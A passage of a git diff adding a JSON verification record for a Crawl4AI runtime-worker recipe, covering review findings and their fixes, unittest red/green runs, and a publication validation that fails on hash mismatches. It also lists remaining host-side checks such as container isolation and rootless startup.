"5d3e3fdc038def93ef353119fbbb06ed6fc8e311c89f1eed1785363b6256348f", + "e2e/grade.py": "cefc9125e6d505778cdb9f25f09c3ae9c072894ad8902c612f52c3e61d7e348f", + "e2e/mcp_probe.py": "9f2f8e4e97c0ca59a6ed01338f000a1b9187edf9d8f71b8267e84801fb11a93d", + "e2e/receipt.py": "23f3c0eb180d0586f5ee4d75067f1d2b78cc774599a799a89dc83aa1ba8a1305", + "e2e/run.py": "941064359f5c56ecd4e8b288df14834d9f29c5ce2c29ef4fdc352730f32d6878", + "e2e/schema.json": "69747f245f545a29151f17cd4fcbe5dee1418f9176970a67b4ce9f6f094e4d36", + "host.py": "38687eb528d63bb115654dbcb7c9d45c02f4f061625a198d1f9bb0363cbc47d8", + "install-browser.py": "7919165002ce74da8274c70ff294ff6eee11481bcbd6a1e45b8539fea9e25729", + "install.sh": "0c065d7e98c5c6a84952828920465d3b692c6b564d24540a364d9661875ee53f", + "pins.json": "95b7e791aaad264a7dbefdd2eb70ddfe17be79fe756cdb19d407f668b6ba5a0e", + "registry-evidence.json": "710dc54f473150f9209e76e0a5a889abda8c56c793b3f52b064b624e9a290d29", + "requirements.in": "f922a5a3f6b978192899aa94a0b64a82e01dbb4782b4cc151ad8a7d2ca5f3d38", + "requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "research.md": "eb4f9c6229069d591c87023be401b90cdd4e99e276c714a5ab6e8c44151ecfea", + "run-e2e.sh": "d39d556f748ee5a1cefea6f0dbe17dcbcac08a193fed522c2eae47450da89f44", + "worker.py": "e6ccb63f11b8da87c20b6a044d9513569586c52f3dd3743107d04a56a6862fc6" + } +} diff --git a/blueprints/runtime-workers/crawl4ai/verification-round3.json b/blueprints/runtime-workers/crawl4ai/verification-round3.json new file mode 100644 index 000000000..638341755 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/verification-round3.json @@ -0,0 +1,288 @@ +{ + "schema_version": 1, + "round": 3, + "date": "2026-09-27", + "framework": "crawl4ai", + "base_head": "b14a110f", + "scope": "Local recipe repair and offline integration contracts; no installation, container start, model run, gateway request or live usage database read.", + "inputs": [ + "rw3-crawl4ai-review.json", + "rw3-security.json", + "rw3-crawl4ai-integrate.json", + "rw3-common.md" + ], + "evidence_classes": [ + "Local contract tests (including synthetic SQLite and mocked REST boundary)", + "Unchanged installed Promptfoo 0.123.1 assertions on authored controls; no model grader", + "Pinned source/metadata research; not host acceptance" + ], + "findings": [ + { + "id": "C-01", + "severity": "major", + "disposition": "fixed", + "finding": "Effort may be dropped by LiteLLM.", + "evidence": "worker.py extraction_args; test_explicit_arms_route_and_effort_are_bound_together; unclecode-litellm@1.81.13 utils.py:3925-3942,4677-4689; Crawl4AI@133e1d92 utils.py:1820-1837" + }, + { + "id": "C-02", + "severity": "major", + "disposition": "fixed", + "finding": "Engines-on model rejected.", + "evidence": "worker.py arm_settings; config/worker.json; CRAWL4AI_ARM binding test. Common round-3 one-slash route supersedes review's two-slash proposal; host routing observation remains supplied evidence." + }, + { + "id": "C-03", + "severity": "major", + "disposition": "fixed", + "finding": "Gateway URL not selected per arm; unused container URL.", + "evidence": "worker.py native LLMConfig; container.sh --field container_base_url; config/compose.yaml variable substitution; arm and container tests; Crawl4AI@133e1d92 async_configs.py:2346-2409; deploy/docker/utils.py:114-138" + }, + { + "id": "C-04", + "severity": "major", + "disposition": "fixed", + "finding": "Routing receipt hard-codes arms/models/effort and reads wrong gateway for engines.", + "evidence": "e2e/receipt.py selected_arms, conditional effort and entry database mapping; correlation/entry-database/privacy regressions; OmniRoute@a58000c7 callLogs.ts:642-653. Common requirements replace review's count-only-20128 advice." + }, + { + "id": "C-05", + "severity": "major", + "disposition": "declined", + "finding": "Shared evidence manifest hashes stale.", + "evidence": "User explicitly forbids editing manifests/evidence.json; coordinator owns re-registration. Final validate output records changed-file hash/byte mismatches only; not claimed fully green." + }, + { + "id": "C-06", + "severity": "minor", + "disposition": "fixed", + "finding": "Direct REST traffic misidentified as an MCP tool.", + "evidence": "Receipt keeps combined POST /md count and tool_names_inferred_from_routes=[]; test_receipt_uses_only_allowed_rows_and_never_exports_private_fields; Crawl4AI@133e1d92 mcp_bridge.py:39-82" + }, + { + "id": "C-07", + "severity": "minor", + "disposition": "fixed", + "finding": "No stable receipt or failure contract for dispatch.", + "evidence": "dispatch.py start/wait/result and run.py setup fallback; deterministic status, exit codes, damaged-config and REST poll tests; CPython@v3.12.12 subprocess.py:506-570,749-815; Crawl4AI@133e1d92 job.py:114-149" + }, + { + "id": "S-02", + "severity": "major", + "disposition": "declined", + "finding": "Cross-cutting rootless host-loopback reachability.", + "evidence": "README Security posture explicitly retains risk. moby/moby@v28.5.1 contrib/dockerd-rootless.sh:127-130,147-162 verifies daemon-wide switch, not per-container ports. Installed Docker unavailable. Host daemon/forwarder changes outside authorized worktree-only round; no model shell/tools provided by native extraction, persistent internal-URL denial/hooks-disabled retained. Coordinator must verify isolation before untrusted workloads." + }, + { + "id": "S-05", + "severity": "major", + "disposition": "fixed", + "finding": "Unlocked host Promptfoo install with lifecycle scripts.", + "evidence": "grader/package-lock.json freezes 942 SHA512 registry entries; pins.json binds hash; install.sh npm ci --ignore-scripts; test_grader_install_uses_integrity_lock_without_lifecycle_scripts; npm/cli@v11.19.0 npm-ci.md:15-24" + }, + { + "id": "S-09", + "severity": "minor", + "disposition": "fixed", + "finding": "Missing container hardening.", + "evidence": "compose drops ALL, adds four bootstrap capabilities, no-new-privileges, read-only root and tmpfs; supervisor retains appuser children. Ownership ordering test. compose-spec@914ec15 05-services.md:171-180,1839-1841,1955-1965,2029-2053; Crawl4AI@133e1d92 Dockerfile:180-209, entrypoint.sh:8-39. Startup remains host verification; bootstrap root exception documented." + } + ], + "red_green": [ + { + "slice": "arms", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_explicit_arms_route_and_effort_are_bound_together -v", + "exit_code": 1, + "returned_output_excerpt": "test_explicit_arms_route_and_effort_are_bound_together (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_explicit_arms_route_and_effort_are_bound_together) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.003s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_explicit_arms_route_and_effort_are_bound_together -v", + "exit_code": 0, + "returned_output_excerpt": "test_explicit_arms_route_and_effort_are_bound_together (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_explicit_arms_route_and_effort_are_bound_together) ... ok\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.003s\n\nOK" + } + }, + { + "slice": "correlation", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_response_correlation_is_captured_without_exporting_other_headers tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_entry_gateway_filters_correlations_and_reports_conditional_effort -v", + "exit_code": 1, + "returned_output_excerpt": "test_response_correlation_is_captured_without_exporting_other_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_response_correlation_is_captured_without_exporting_other_headers) ... ERROR\ntest_entry_gateway_filters_correlations_and_reports_conditional_effort (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_entry_gateway_filters_correlations_and_reports_conditional_effort) ... ERROR\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.038s\n\nFAILED (errors=2)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_response_correlation_is_captured_without_exporting_other_headers tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_entry_gateway_filters_correlations_and_reports_conditional_effort -v", + "exit_code": 0, + "returned_output_excerpt": "test_response_correlation_is_captured_without_exporting_other_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_response_correlation_is_captured_without_exporting_other_headers) ... ok\ntest_entry_gateway_filters_correlations_and_reports_conditional_effort (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_entry_gateway_filters_correlations_and_reports_conditional_effort) ... ok\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.065s\n\nOK" + } + }, + { + "slice": "receipt", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_uses_only_allowed_rows_and_never_exports_private_fields tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs -v", + "exit_code": 1, + "returned_output_excerpt": "receipt.py: error: unrecognized arguments: --engines-db \nRan 2 tests in 15.451s\n\nFAILED (failures=2)", + "sanitization": "Synthetic absolute database path replaced; traceback and routine output omitted." + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_uses_only_allowed_rows_and_never_exports_private_fields tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs -v", + "exit_code": 0, + "returned_output_excerpt": "ok\ntest_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs) ... ok\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 15.690s\n\nOK" + } + }, + { + "slice": "security", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_grader_install_uses_integrity_lock_without_lifecycle_scripts tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective -v", + "exit_code": 1, + "returned_output_excerpt": "Warning: truncated output (original token count: 2152)\nTotal output lines: 25\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.001s\n\nFAILED (failures=2)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_grader_install_uses_integrity_lock_without_lifecycle_scripts tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective -v", + "exit_code": 0, + "returned_output_excerpt": "test_grader_install_uses_integrity_lock_without_lifecycle_scripts (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_grader_install_uses_integrity_lock_without_lifecycle_scripts) ... ok\ntest_container_hardening_and_arm_base_url_are_effective (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective) ... ok\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.005s\n\nOK" + } + }, + { + "slice": "dispatch", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_dispatch_has_deterministic_status_and_distinct_verdicts -v", + "exit_code": 1, + "returned_output_excerpt": "test_dispatch_has_deterministic_status_and_distinct_verdicts (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_dispatch_has_deterministic_status_and_distinct_verdicts) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.004s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_dispatch_has_deterministic_status_and_distinct_verdicts -v", + "exit_code": 0, + "returned_output_excerpt": "test_dispatch_has_deterministic_status_and_distinct_verdicts (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_dispatch_has_deterministic_status_and_distinct_verdicts) ... ok\n\n[traceback / routine output omitted]\n{\"arm\": \"engines-on\", \"exit_code\": 0, \"receipt_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/receipt.json\", \"run_id\": \"child-001\", \"state\": \"finished\", \"status_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/status.json\"}\n{\"arm\": \"engines-on\", \"exit_code\": 0, \"receipt_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/receipt.json\", \"run_id\": \"child-001\", \"state\": \"finished\", \"status_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/status.json\"}\n{\"arm\": \"engines-on\", \"exit_code\": 0, \"receipt_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/receipt.json\", \"run_id\": \"child-001\", \"state\": \"finished\", \"status_path\": \"/.round3/tmp/tmpttwyrvrz/runs/child-001/status.json\"}\n{\"outcome\": \"setup_failure\", \"error_class\": \"ValueError\", \"exit_code\": 2}\n{\"outcome\": \"setup_failure\", \"error_class\": \"ValueError\", \"exit_code\": 2}" + } + }, + { + "slice": "run", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_e2e_setup_failure_writes_receipt_before_host_resources -v", + "exit_code": 1, + "returned_output_excerpt": "test_e2e_setup_failure_writes_receipt_before_host_resources (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_e2e_setup_failure_writes_receipt_before_host_resources) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.024s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_e2e_setup_failure_writes_receipt_before_host_resources -v", + "exit_code": 0, + "returned_output_excerpt": "test_e2e_setup_failure_writes_receipt_before_host_resources (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_e2e_setup_failure_writes_receipt_before_host_resources) ... ok\n\n[traceback / routine output omitted]\n----------------------------------------------------------------------\nRan 1 test in 0.029s\n\nOK\n{\"arm\": \"engines-on\", \"exit_code\": 2, \"receipt_path\": \"/.round3/tmp/tmp5pl0b7i0/receipt.json\", \"state\": \"finished\", \"status_path\": \"/.round3/tmp/tmp5pl0b7i0/status.json\"}" + } + }, + { + "slice": "rest", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers -v", + "exit_code": 1, + "returned_output_excerpt": "test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids) ... ERROR\ntest_mcp_registration_uses_explicit_sse_and_dynamic_private_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers) ... ERROR\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.007s\n\nFAILED (errors=2)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers -v", + "exit_code": 0, + "returned_output_excerpt": "test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids) ... ok\ntest_mcp_registration_uses_explicit_sse_and_dynamic_private_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers) ... ok\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 2 tests in 0.020s\n\nOK" + } + }, + { + "slice": "ownership", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective -v", + "exit_code": 1, + "returned_output_excerpt": "test_container_hardening_and_arm_base_url_are_effective (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.001s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective -v", + "exit_code": 0, + "returned_output_excerpt": "test_container_hardening_and_arm_base_url_are_effective (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective) ... ok\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.000s\n\nOK" + } + }, + { + "slice": "damaged", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_damaged_config_still_leaves_a_setup_receipt -v", + "exit_code": 1, + "returned_output_excerpt": "test_damaged_config_still_leaves_a_setup_receipt (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_damaged_config_still_leaves_a_setup_receipt) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.027s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_damaged_config_still_leaves_a_setup_receipt -v", + "exit_code": 0, + "returned_output_excerpt": "test_damaged_config_still_leaves_a_setup_receipt (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_damaged_config_still_leaves_a_setup_receipt) ... ok\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.029s\n\nOK" + } + }, + { + "slice": "poll", + "fail_first": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids -v", + "exit_code": 1, + "returned_output_excerpt": "test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids) ... ERROR\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.018s\n\nFAILED (errors=1)" + }, + "pass": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" python3 -m unittest tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids -v", + "exit_code": 0, + "returned_output_excerpt": "test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids) ... ok\n\n[traceback / routine output omitted]\n\n----------------------------------------------------------------------\nRan 1 test in 0.015s\n\nOK" + } + } + ], + "sanitization": "Returned excerpts preserve actual exit codes and selected lines. Absolute worktree/runtime/temp paths replaced; traceback/routine output omitted. Full final acceptance output is retained below.", + "research": "research.md#round-3-source-selection-2026-09-27; README source links and pin/file/line mappings", + "corrections": "research.md#recorded-corrections--anti-pattern-log includes failed network/path probes, Promptfoo default log attempt, premature validation with temporary caches, ownership and damaged-config corrections.", + "acceptance": { + "unittest": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3/tmp\" NODE_DISABLE_COMPILE_CACHE=1 python3 -m unittest tests.test_runtime_worker_crawl4ai -v", + "exit_code": 0, + "returned_output": "test_adapter_transports_correct_wrong_and_malformed_outputs_unchanged (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_adapter_transports_correct_wrong_and_malformed_outputs_unchanged) ... ok\ntest_container_hardening_and_arm_base_url_are_effective (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_container_hardening_and_arm_base_url_are_effective) ... ok\ntest_damaged_config_still_leaves_a_setup_receipt (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_damaged_config_still_leaves_a_setup_receipt) ... ok\ntest_dispatch_has_deterministic_status_and_distinct_verdicts (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_dispatch_has_deterministic_status_and_distinct_verdicts) ... ok\ntest_docker_objects_have_owned_names_and_labels (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_docker_objects_have_owned_names_and_labels) ... ok\ntest_e2e_setup_failure_writes_receipt_before_host_resources (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_e2e_setup_failure_writes_receipt_before_host_resources) ... ok\ntest_engines_usage_comes_from_its_entry_database_only (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_engines_usage_comes_from_its_entry_database_only) ... ok\ntest_entry_gateway_filters_correlations_and_reports_conditional_effort (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_entry_gateway_filters_correlations_and_reports_conditional_effort) ... ok\ntest_explicit_arms_route_and_effort_are_bound_together (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_explicit_arms_route_and_effort_are_bound_together) ... ok\ntest_gateway_model_is_configurable_and_has_no_sampling_default (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_gateway_model_is_configurable_and_has_no_sampling_default) ... ok\ntest_gateway_refuses_non_gpt6_model_overrides (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_gateway_refuses_non_gpt6_model_overrides) ... ok\ntest_grader_install_uses_integrity_lock_without_lifecycle_scripts (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_grader_install_uses_integrity_lock_without_lifecycle_scripts) ... ok\ntest_install_is_scoped_hash_checked_and_loopback_only (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_install_is_scoped_hash_checked_and_loopback_only) ... ok\ntest_mcp_limits_are_explicit_and_not_claimed_as_loaded (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_limits_are_explicit_and_not_claimed_as_loaded) ... ok\ntest_mcp_registration_uses_explicit_sse_and_dynamic_private_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers) ... ok\ntest_private_host_ports_refuse_other_lanes (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_private_host_ports_refuse_other_lanes) ... ok\ntest_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs) ... ok\ntest_receipt_uses_only_allowed_rows_and_never_exports_private_fields (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_receipt_uses_only_allowed_rows_and_never_exports_private_fields) ... ok\ntest_recipe_is_reviewable_and_pinned (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_recipe_is_reviewable_and_pinned) ... ok\ntest_response_correlation_is_captured_without_exporting_other_headers (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_response_correlation_is_captured_without_exporting_other_headers) ... ok\ntest_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids) ... ok\ntest_skills_documentation_uses_coordinator_install_lifecycle (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_skills_documentation_uses_coordinator_install_lifecycle) ... ok\ntest_structured_requests_close_schemas_and_bind_logical_calls (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_structured_requests_close_schemas_and_bind_logical_calls) ... ok\ntest_three_frozen_pages_and_both_arms (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_three_frozen_pages_and_both_arms) ... ok\ntest_upstream_grader_controls_and_type_strictness (tests.test_runtime_worker_crawl4ai.Crawl4AIRecipeTests.test_upstream_grader_controls_and_type_strictness)\nReal unchanged Promptfoo assertions, with local synthetic controls. ... ok\n\n----------------------------------------------------------------------\nRan 25 tests in 27.864s\n\nOK\n", + "scope": "25 local tests; unchanged installed Promptfoo assertions executed, with no skipped tests and no model/API calls. The temporary test directory was removed afterward." + }, + "publication": { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "returned_output": "Publication validation failed:\nblueprints/runtime-workers/crawl4ai/README.md: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/README.md: byte count mismatch\nblueprints/runtime-workers/crawl4ai/common.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/common.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/config/compose.yaml: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/config/compose.yaml: byte count mismatch\nblueprints/runtime-workers/crawl4ai/config/worker.json: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/config/worker.json: byte count mismatch\nblueprints/runtime-workers/crawl4ai/container-entrypoint.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/container-entrypoint.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/container.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/container.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/crawl4ai/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/crawl4ai/install.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/install.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/pins.json: byte count mismatch\nblueprints/runtime-workers/crawl4ai/research.md: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/research.md: byte count mismatch\nblueprints/runtime-workers/crawl4ai/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/run-e2e.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/worker.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/worker.py: byte count mismatch\ntests/test_runtime_worker_crawl4ai.py: SHA-256 mismatch\ntests/test_runtime_worker_crawl4ai.py: byte count mismatch\n", + "classification": "28 SHA-256/byte-count mismatches on 14 changed tracked files only. The coordinator must re-register hashes; no evidence-manifest edit was made." + }, + "diff_check": { + "command": "rtk env GIT_OPTIONAL_LOCKS=0 git diff --check", + "exit_code": 0, + "returned_output": "" + }, + "syntax_and_cache": { + "exit_code": 0, + "returned_output": "PASS: Python AST, Bash syntax, no __pycache__, node_modules or round-3 scratch\n" + }, + "git_boundaries": { + "head": "b14a110f", + "evidence_manifest_unchanged": true, + "command": "rtk env GIT_OPTIONAL_LOCKS=0 git diff --quiet -- manifests/evidence.json", + "exit_code": 0 + } + }, + "host_verification": [ + "Coordinator re-register changed/new evidence hashes and rerun publication validation before committing.", + "Fresh hash-locked Python/npm installs; unchanged grader controls with lifecycle scripts disabled; no native dependency assumption promoted to acceptance.", + "Rootless Compose startup/restart, mapped UID ownership, appuser processes and read-only-root/tmpfs compatibility.", + "Measure host-loopback isolation and provision supported explicit service forwarding/isolation before untrusted crawling.", + "Sequential control/engines-on E2E; temperature omission, single-slash routing, max effort, compression/header/session/idempotency forwarding, correlation capture and client retry behavior.", + "Verify 20129 database path/ownership, timestamp/status/model formats, allowed column availability and compression endpoint deltas; no adding forwarded 20128 rows.", + "Claude 2.1.283 explicit SSE initialize/tools/call and auth on GET plus POST 